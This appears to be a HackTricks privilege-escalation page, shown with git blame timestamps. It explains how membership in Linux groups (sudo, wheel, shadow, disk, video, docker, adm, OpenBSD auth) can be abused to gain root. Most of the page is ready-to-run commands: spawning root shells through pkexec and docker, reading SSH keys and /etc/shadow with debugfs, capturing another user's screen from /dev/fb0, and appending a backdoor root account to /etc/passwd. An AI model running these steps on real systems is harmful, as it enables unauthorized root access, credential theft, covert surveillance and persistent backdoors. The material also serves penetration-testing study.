hacktricks/linux-unix/privilege-escalation/interesting-groups-linux-pe/README.md

200 lines
7.1 KiB
Markdown
Raw Normal View History

2020-08-20 11:59:57 +00:00
# Interesting Groups - Linux PE
## Sudo/Admin Groups
### **PE - Method 1**
**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
```text
sudo su
```
### PE - Method 2
Find all suid binaries and check if there is the binary **Pkexec**:
```bash
find / -perm -4000 2>/dev/null
```
2020-08-26 13:51:17 +00:00
If you find that the binar**y pkexec is a SUID** binary and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.
This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with:
2020-08-20 11:59:57 +00:00
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
2020-08-26 13:51:17 +00:00
There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear.
2020-08-20 11:59:57 +00:00
To **become root you can execute**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
If you try to execute **pkexec** and you get this **error**:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
{% code title="session1" %}
```bash
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
```
{% endcode %}
{% code title="session2" %}
```bash
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
{% endcode %}
## Wheel Group
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
```text
%wheel ALL=(ALL:ALL) ALL
```
This means that **any user that belongs to the group wheel can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
```text
sudo su
```
## Shadow Group
Users from the **group shadow** can **read** the **/etc/shadow** file:
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
So, read the file and try to **crack some hashes**.
## Disk Group
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
Files:`/dev/sd[a-z][1-9]`
2020-12-29 18:32:59 +00:00
```bash
df -h #Find where "/" is mounted
2020-08-20 11:59:57 +00:00
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error.
## Video Group
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**:
![](../../../.gitbook/assets/image%20%28208%29.png)
Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\):
![](../../../.gitbook/assets/image%20%28295%29.png)
## Root Group
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
**Check which files root members can modify**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
## Docker Group
2020-08-26 15:52:43 +00:00
You can **mount the root filesystem of the host machine to an instances volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
2021-01-04 12:33:29 +00:00
```bash
docker image #Get images from the docker service
2020-08-20 11:59:57 +00:00
2021-01-04 12:33:29 +00:00
#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd
2020-08-20 11:59:57 +00:00
2021-01-04 12:33:29 +00:00
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
2020-08-20 11:59:57 +00:00
```
2021-01-04 12:33:29 +00:00
Finally, if you don't like any of the suggestions of before, or they aren't working for some reason \(docker api firewall?\) you could always try to **run a privileged container and escape from it** as explained here:
2020-08-20 11:59:57 +00:00
2021-01-04 12:33:29 +00:00
{% page-ref page="../docker-breakout.md" %}
2020-08-20 11:59:57 +00:00
2021-01-04 12:33:29 +00:00
If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.**
2020-08-20 11:59:57 +00:00
2021-01-04 12:33:29 +00:00
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
2020-08-20 11:59:57 +00:00
## lxc/lxd Group
{% page-ref page="./" %}
## Adm Group
2020-08-20 11:59:57 +00:00
Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.
Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**.
2020-08-20 11:59:57 +00:00
2021-03-25 00:57:03 +00:00
## Auth group
Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.
These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)